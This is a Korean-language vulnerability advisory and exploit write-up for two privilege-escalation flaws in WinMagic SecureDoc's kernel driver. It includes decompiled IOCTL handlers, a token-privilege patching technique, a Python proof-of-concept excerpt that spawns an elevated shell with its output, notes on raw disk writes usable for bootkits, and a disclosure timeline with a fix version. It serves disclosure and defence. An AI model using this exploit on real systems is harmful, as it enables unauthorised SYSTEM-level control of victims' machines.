
기술 문서 및 PoC 익스플로잇 - CVE-2020-11519 및 CVE-2020-11520
날짜: 2020년 6월
작성자: Dennis Elser (코드: github)
웹 표현(web representation)에 따르면, Winmagic SecureDoc는 "비즈니스가 IT 환경의 보안을 효율적으로 처리할 수 있도록 하는 기능을 제공합니다: 전체 디스크 암호화(FDE), 다중 요소 인증, 이동식 미디어 컨테이너 암호화(RMCE), 파일 및 폴더 암호화(FFE) 등이 있습니다. 이러한 기능은 비즈니스의 보안을 강화하고, 비즈니스 리스크를 완화하며, 하드 드라이브 암호화에 대한 정부 및 규제 요구 사항을 충족하는 데 도움이 됩니다."
Winmagic SecureDoc 제품은 독립형 및 엔터프라이즈 에디션으로 제공되며, 버전 8.3 및 8.5에서 두 가지 로컬 권한 상승 취약점(CVE-2020-11519 및 CVE-2020-11520)의 영향을 받습니다. 취약점이 3월 말에 Winmagic에 보고된 후, 공급업체는 2020년 6월 중순(공개 타임라인)에 패치(버전 8.5SR2)를 출시했습니다. 그러나 이 패치는 취약점을 불충분하게 해결한 것으로 밝혀져 버전 8.5SR2도 보고된 결함에 취약하게 만들었습니다. 이러한 이유로 취약점에 대한 기술적 세부 정보는 보류되었지만, 그 이후로 결함은 공개된 것으로 간주됩니다. 공급업체에 따르면, Winmagic에 대한 초기 취약점 보고 후 약 106일이 지난 시점에서 또 다른 패치가 준비 중입니다. 7월 15일, 공급업체에 대한 초기 취약점 보고 후 111일째 되는 날, Winmagic은 SecureDoc v8.5 SR2 HF1을 고객에게 출시했으며, 이는 CVE-2020-11519 및 CVE-2020-11520을 수정한다고 합니다. 8.3 이전 버전의 SecureDoc은 테스트되지 않았지만 영향을 받는 구성 요소의 코드에 기반하여 영향을 받을 것으로 추정됩니다.
이러한 취약점 중 하나라도 성공적으로 악용되면 로컬로 인증된 공격자가 SYSTEM 권한으로 상승할 수 있습니다.
두 취약점 모두 Winmagic SecureDoc 제품에 포함된 커널 드라이버인 "SDDisk2k.sys" 구성 요소에 영향을 미칩니다. 보안 결함은 Hex-Rays IDA Pro 디스어셈블러 및 디컴파일러를 사용한 수동 정적 분석을 통해 식별되었습니다. 돌이켜보면, 퍼징과 같은 동적 테스트 접근 방식을 대신 적용했다면 훨씬 적은 노력으로 약점을 발견할 수 있었을 것입니다. 그 이유는 드라이버가 제한된 사용자 모드 애플리케이션에서 인터페이스할 수 있고, 기본적으로 입력이 올바르게 구성되어 있다고 가정하기 때문입니다.
"SDDisk2k.sys" 드라이버가 "SecureDocDevice" 장치 개체를 안전하지 않게 생성하고 적절한 보안 설명자를 설정하는 코드가 누락되어, 제한된 사용자 계정도 CreateFile() API 함수를 사용하여 장치에 대한 핸들을 얻을 수 있습니다. 드라이버가 사용자 모드 애플리케이션에 장치 개체에 대한 핸들을 부여함으로써, 커널 영역에서 공격 표면으로의 직접적인 경로가 열리게 됩니다.``` c RtlInitUnicodeString(&DestinationString, L"\Device\SecureDocDevice"); RtlInitUnicodeString(&SymbolicLinkName, L"\DosDevices\SecureDocDevice"); if ( IoCreateDevice(v1, 0xDD8u, &DestinationString, 0x8D1Fu, 0, 0, &DeviceObject) >= 0 ) // <--- unsafe { memset(DeviceObject->DeviceExtension, 0, 0xDD8ui64); DeviceObject->Flags |= 4u; DeviceObject->AlignmentRequirement = 0; if ( IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString) < 0 ) IoDeleteDevice(DeviceObject); IoObject = DeviceObject; }
"SDDisk2k.sys" 드라이버의 여러 [IOCTL](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes) 서비스 핸들러를 리버스 엔지니어링한 결과, 그중 하나가 의도적으로 임의 드라이브의 원시 디스크 섹터에 대한 읽기 및 쓰기 작업을 허용하는 중요한 기능을 사용자 모드에 노출한다는 사실이 발견되었습니다. 여기에 더해, 이 코드와 인터페이스할 때 드라이버가 이전에 드라이브에 설정되었을 수 있는 배타적 잠금을 무시한다는 것이 확인되었습니다. 결과적으로 동시 읽기/쓰기 작업이 가능해져 경쟁 조건이 발생하고 데이터 손실 위험이 커집니다.
다음은 원시 디스크 섹터의 읽기 요청을 처리하는 드라이버의 디컴파일된 IOCTL 서비스 핸들러를 보여줍니다. 이 핸들러는 "controlled_buf"라는 인수를 사용하여 함수 sub_29CD4()를 호출합니다. 여기서 "controlled_buf"는 호출하는 사용자 모드 애플리케이션이 임의로 내용을 선택할 수 있는 버퍼에 대한 포인터입니다.``` c
if ( ioctlcode == 0x8D1F2824 ) // <--- I/O control code for raw disk reading functionality
{
controlled_buf = (unsigned __int8 *)controlled_addr;
mode = 0;
temp_result = sub_29CD4((char *)controlled_buf, v3, mode); // <--- call to raw disk read function
사실, 이 공격자가 제어하는 버퍼는 "offset", "length", "ptr_buf" 필드가 온전히 검사되지 않은 함수 인수로서 IoBuildSynchronousFsdRequest() 호출에 전달되는 구조체입니다. 후자 함수는 IofCallDriver() 호출을 사용하여 기본 파일 시스템 드라이버로 전송하는 IRP_MJ_READ I/O 요청 패킷 (IRP)을 준비합니다:``` c __int64 __fastcall sub_29CD4(char *controlled_addr, PIRP a2, char mode) { //[...snip...] // extract drive number and type (floppy/hd) from offset 0 devicetype_and_num = (unsigned __int8)*controlled_buf // <--- controllable from user mode
// advance pointer p = controlled_buf + 1;
// build device name if ( (devicetype_and_num & 0x80u) == 0 ) v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Floppy%d", devicetype_and_num); else v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Harddisk%d\Partition0", devicetype_and_num & 0x7F); v12 = v11; if ( v11 >= 0 ) { RtlInitUnicodeString(&DestinationString, &device_name);
// get object pointer of drive
if ( IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject) >= 0
|| (v12 = sub_2C5D4(&DestinationString, &DeviceObject), v12 >= 0) )
{
// extract further fields from structure
offset = *(_QWORD *)(p + 0x4E); // <--- where to start reading from
length = *(_DWORD *)(p + 0x56); // <--- number of bytes to read
ptr_buf = *(void **)(p + 0x5A); // <--- ptr to destination buffer
devobj = DeviceObject;
StartingOffset.QuadPart = offset << 9;
KeInitializeEvent(&Event, NotificationEvent, 0);
// build request
v17 = IoBuildSynchronousFsdRequest(
(unsigned int)(mode != 0) + IRP_MJ_READ, // <--- issue read request
devobj,
ptr_buf,
length << 9,
&StartingOffset,
&Event,
&IoStatusBlock);
v18 = v17;
if ( v17 )
{
v19 = v17->Tail.Overlay.CurrentStackLocation;
if ( mode )
v19[0xFFFFFFFF].Flags |= 0x10u;
ObfReferenceObject(devobj);
// send request to respective device object (issue read request)
v12 = IofCallDriver(devobj, v18);
//[...snip...] }
원시 디스크 섹터를 읽는 것과 마찬가지로, 사용자 모드에서 디스크 섹터를 쓰는 것은 IOCTL 핸들러 0x8D1F2820을 호출함으로써 가능해지며, 이는 동일한 데이터 구조를 처리하고 비슷한 방식으로 구현됩니다. 이 드라이버의 프로토콜과 호환된다는 점을 고려하면, 임의의 사용자 모드 애플리케이션이 운영 체제를 완전히 손상시키는 것을 막을 수 있는 것은 없습니다. 보안 부팅 메커니즘으로 보호되지 않는 한, 여기에는 시스템 부팅 프로세스 초기에 실행될 수 있는 소프트웨어(랜섬웨어, 부트킷, 사용자 지정 임플란트 등)의 설치도 포함됩니다.
### CVE-2020-11520
"SDDisk2k.sys" 드라이버의 서비스 핸들러에 대한 추가 조사 결과, 사용자 모드 애플리케이션의 메모리 주소가 사전 검증 없이 처리되는 것으로 나타났습니다. 경우에 따라 이러한 포인터가 접근하는 메모리는 드라이버에 의해 맹목적으로 기록되며, 공격자가 이를 악용하여 커널 쓰기 기본 요소를 생성할 수 있습니다. 모든 쓰기 기본 요소는 데이터를 쓸 **위치**를 직접 제어할 수 있게 해주지만, 불행히도 **어떤** 데이터를 쓸지 직접 제어할 수 있는 요소는 발견되지 않았습니다. [CVE-2020-11519](#cve-2020-11519)의 경우는 예외로, 이 컨텍스트에서 악용하려면 디스크 읽기/쓰기 작업을 통한 추가 우회가 필요하며, 저는 이를 지저분한 접근 방식이라 생각하여 피하고 싶었습니다. 그러나 한 특정 핸들러가 확인되었는데, 이 핸들러는 데이터 자체를 제어할 수는 없었지만 다른 수단을 통해 재사용하기에 충분히 유용한 것으로 드러났습니다.
아래의 디컴파일된 코드는 IOCTL 코드 0x8d1f282c에 대한 드라이버의 서비스 핸들러를 보여줍니다. 사용자 제어 버퍼에서 16비트 정수 "count"를 가져온 다음 특정 한계를 초과하지 않도록 합니다. 마지막으로 포인터 "dst"가 동일한 제어 입력 버퍼에서 획득되지만, 이후 memmove() 호출에 인수로 전달되기 전에 유효성 검사가 전혀 수행되지 않습니다. 처음에는 실망스럽게도 memmove()에 인수로 전달되는 "src" 버퍼는 제어되지 않고 하드코딩된 문자열("FRNSecureDoc v4.1\0")을 가리키므로, 악용에 대한 유용성이 어느 정도 제한됩니다. 분명히 이 서비스 핸들러는 사용자가 지정할 수 있는 주소에 버전 식별자를 기록하며, 이는 Winmagic SecurDoc의 취약한 버전을 식별하는 데에도 악용될 수 있습니다.``` c
// handler for I/O control code 0x8d1f282c
// get "count" from controlled buffer
count = *((_WORD *)controlled_buf + 5);
// if count is zero, return error
if ( !count )
{
*((_WORD *)controlled_buf + 5) = 0x13;
goto leave_dispatcher;
}
// otherwise further sanitize and limit "count"
if ( count >= 0x12u )
count = 0x11;
// bug! controlled pointer, passed from userland!
dst = *(void **)(controlled_buf + 2);
src = aFrnsecuredocV4; // <--- 'FRNSecureDoc v4.1',0
// unchecked write!
memmove(dst, src, count);
goto leave_dispatcher;
하지만, 완전히 제어 가능한 "dst" 주소가 커널 공간의 적절한 위치를 가리키도록 하면 이 IOCTL 핸들러를 재사용하여 커널 쓰기 프리미티브로 변환됩니다. [1] 및 [2]을 참조하면, "dst"가 프로세스 토큰의 커널 주소, 더 정확히는 오프셋 0x40에 있는 "Privileges" 멤버를 가리키도록 이 서비스 핸들러를 호출하면 권한 상승으로 이어질 수 있습니다 :)```
0: kd> dt nt!_token ffffe40955f766b0
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffffffffffff +0x030 TokenLock : 0xffffd20ff9adee10 _ERESOURCE
+0x038 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
[...snip...]
0: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffe40955f766b0+0x40 +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x40800000
SEP_TOKEN_PRIVILEGES 구조는 각각 권한 플래그를 나타내는 개별 비트를 가진 비트마스크 집합입니다. 논리적 결과로, SecureDoc 드라이버가 프로세스 토큰의 SEP_TOKEN_PRIVILEGES 구조에 버전 문자열 "FRNSecureDoc v4.1\0"의 일부를 저장하도록 요청하면 몇 비트가 뒤집히고 적어도 가상으로는 유용한 권한이 활성화될 것입니다. 실제로 드라이버가 버전 문자열의 처음 두 문자를 SEP_TOKEN_PRIVILEGE 구조의 "Present" 필드 오프셋 1과 2에 저장하도록 하면 여러 흥미로운 토큰 권한이 설정됩니다. "**F**RNSecureDoc v4.1\0"에서 가져온 '**F**' 문자는 01000110이므로 "Present" 필드의 비트 9(SeTakeOwnershipPrivilege), 비트 10(SeLoadDriverPrivilege) 및 비트 14(SeIncreaseBasePriorityPrivilege)를 설정합니다. '**R**' 문자는 01010010이며 비트 17(SeBackupPrivilege), 비트 20(SeDebugPrivilege) 및 비트 22(SeSystemEnvironmentPrivilege)를 설정합니다.
| 비트 번호 ("Present") | 문자 | 바이트 | 권한 |
| :--------------: | :-------: | ------------ | --------- |
| 8 | 'F' | 0100011**0** | SeSecurityPrivilege |
| 9 | 'F' | 010001**1**0 | **SeTakeOwnershipPrivilege** |
| 10 | 'F' | 01000**1**10 | **SeLoadDriverPrivilege** |
| 11 | 'F' | 0100**0**110 | SeSystemProfilePrivilege |
| 12 | 'F' | 010**0**0110 | SeSystemtimePrivilege |
| 13 | 'F' | 01**0**00110 | SeProfileSingleProcessPrivilege |
| 14 | 'F' | 0**1**000110 | **SeIncreaseBasePriorityPrivilege** |
| 15 | 'F' | **0**1000110 | SeCreatePagefilePrivilege |
| 16 | 'R' | 0101001**0** | SeCreatePermanentPrivilege |
| 17 | 'R' | 010100**1**0 | **SeBackupPrivilege** |
| 18 | 'R' | 01010**0**10 | SeRestorePrivilege |
| 19 | 'R' | 0101**0**010 | SeShutdownPrivilege |
| 20 | 'R' | 010**1**0010 | **SeDebugPrivilege** |
| 21 | 'R' | 01**0**10010 | SeAuditPrivilege |
| 22 | 'R' | 0**1**010010 | **SeSystemEnvironmentPrivilege** |
| 23 | 'R' | **0**1010010 | SeChangeNotifyPrivilege |
## 개념 증명 익스플로잇
[개념 증명 익스플로잇](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py)이 Python으로 개발되었으며, x64 Windows 10 VM에 연결된 [Microsoft의 WinDbg 커널 디버거](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-toolsk)를 사용하여 디버깅되었습니다.
이 PoC 익스플로잇은 현재 프로세스의 보안 토큰에 대한 커널 주소를 획득하고, 설명된 취약점을 악용하여 다른 권한 중에서도 SeDebugPrivilege 권한을 활성화합니다. 그런 다음 토큰의 새로 상승된 권한을 상속받는 명령 셸을 생성합니다.
SeDebugPrivilege 플래그가 설정되면 셸코드를 SYSTEM 프로세스의 컨텍스트에 주입하고 실행할 수 있게 됩니다 – 이 부분은 여러분에게 맡기겠습니다 ;)``` python
token_addr = sdi.get_token_obj()
if not token_addr:
print("[!] Could not get address of token")
sdi.close()
return
print("[+] Got token object: %x" % token_addr)
print("[+] Patching token")
sdi.acquire_debug_privs(token_addr)
sdi.close()
os.system("cmd.exe")
누구의 데이터도 위험에 빠뜨리지 않기 위해, 이 PoC 익스플로잇의 공개 버전에는 CVE-2020-11519를 사용하여 원시 디스크 섹터를 읽거나 쓰기 위한 활성 코드가 포함되어 있지 않습니다. 하지만 disk_read_raw() 및 disk_write_raw() 함수 호출이 추가되면 부트 섹터에서 실행하고자 하는 모든 코드의 설치 프로그램으로 쉽게 변환될 수 있습니다. 임플란트를 설치하는 대신 tetros 한 판을 설치하고 플레이하는 것은 어떨까요? ;)
다음은 각각 PoC 익스플로잇을 실행하기 전과 후의 현재 프로세스 토큰 권한을 보여줍니다.``` C:\Users\re>whoami /priv
Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
C:\Users\re>python3 sd_poc.py
EoP PoC for WinMagic SecureDoc 8.5
[+] Got a handle to driver [+] Got token object: ffffd68dd45d9990 [+] Patching token Microsoft Windows [Version 10.0.17134.1304] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\re>whoami /priv
Privilege Name Description State =============================== ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeBackupPrivilege Back up files and directories Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
The PoC exploit code can be found [here](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py). It targets v8.5 of Winmagic SecureDoc x64 but might work on older versions (untested).
In case you've made it till here but are super bored still, feel free to dial IOCTL code 0x8D1F2848 ;)``` c
case 0x8D1F2848:
DbgPrint("SDDEV_IO_BLUE_SCREEN comes in ...");
if ( *(_WORD *)controlled_buf == 0x55AA
&& *(_QWORD *)(controlled_buf + 2)
&& *((_WORD *)controlled_buf + 5) == 4 )
{
StartContext = ExAllocatePoolWithTag(PoolType, 4ui64, 'gaMW');
if ( !StartContext )
{
KeSetPriorityThread(KeGetCurrentThread(), 0x1F);
KeBugCheckEx(0xE2u, 0x2D8ui64, **(unsigned int **)(controlled_buf + 2), 0i64, 'WM');
}
DbgPrint("SDDEV_IO_BLUE_SCREEN preps ...");
*StartContext = **(_DWORD **)(controlled_buf + 2);
if ( PsCreateSystemThread(
&ThreadHandle,
0x1FFFFFu,
0i64,
0i64,
0i64,
(PKSTART_ROUTINE)sub_23948,
StartContext) < 0 )
ExFreePoolWithTag(StartContext, 0);
else
ZwClose(ThreadHandle);
}
2020-03-27 | Shared vulnerability report with Winmagic representative 2020-03-28 | Winmagic confirmed receipt of vulnerability report 2020-04-04 | Shared CVE IDs CVE-2020-11519 and CVE-2020-11520 with Winmagic 2020-04-22 | Winmagic gave an estimated ETA of fix within 60-90 days 2020-06-14 | Winmagic shared pre-release of SecureDoc v8.5SR2 for testing 2020-06-17 | Informed Winmagic the fix doesn't properly address the vulnerabilities 2020-06-18 | Winmagic informed that SecureDoc v8.5SR2 had already been publicly released | in the meantime. According to this version's release notes, CVE-2020-11519 | and CVE-2020-11520 are addressed ("SD-34145: Windows Client Security | Vulnerability Report"). Winmagic representative asked whether holding back | information about the vulnerabilities was an option till the next scheduled | release date in autumn, in favour of a proper fix 2020-06-19 | Informed Winmagic about the common 90-days disclosure deadline and that | postponing a proper fix for incorrect but already released bugfixes | would put users at risk even more so 2020-06-19 | Winmagic informed that a hotfix for the flawed v8.5SR2 patch of | SecureDoc is being worked on, no ETA given 2020-06-22 | Asked for ETA of the hotfix 2020-06-23 | Winmagic provided information about an intended release of a hotfix within | a two week time frame, starting with the passing of the 90-days deadline 2020-06-30 | Asked Winmagic about the current status 2020-06-30 | Winmagic assured that a fix would be made available before 2020-07-08 2020-07-08 | Winmagic informed about delay of release to 2020-07-09 or 2020-07-10, latest 2020-07-10 | Public release of this information, no public fix available (106 days) 2020-07-15 | Winmagic released SecureDoc v8.5 SR2 HF1 (111 days)
## 해결 방법
Winmagic SecureDoc v8.5 SR2 HF1로 업데이트하세요.
## 체크섬
| 파일명 | 버전 | 해시 (SHA-256) |
| -------------------- | -------- | -------------- |
| SDDisk2k.sys (64비트) | 8.3.717 | 98D29D28BB9552D20BC78EB0BD12A57B921167565F3E47919EC2D61F24DA9241 |
| SDDisk2k.sys (64비트) | 8.5.445 | 1D9054C4B49267EEF63B2EB11EC563E036F9E6E2AC18D32597FA769934BB7E18 |
## 참고 자료
1. [LPE를 위한 토큰 권한 남용](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)
2. [Windows 8.1에서 CVE-2014-4113 공격](http://jodeit.org/research/Exploiting_CVE-2014-4113_on_Windows_8.1.pdf)
3. [쉬운 로컬 Windows 커널 익스플로잇](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
4. [99가지 문제는 있지만 커널 포인터는 없다](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf)
5. [유출된 프로세스 및 스레드 핸들 익스플로잇](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
6. [SourceForge에서 ctypes를 사용한 NtQuerySystemInformation 호출에 관한 논의](https://sourceforge.net/p/ctypes/mailman/message/34578496/)
7. [SecureDoc v8.5SR2 릴리스 노트](https://www.winmagic.com/support/release-notes/securedoc-v8-5-sr2)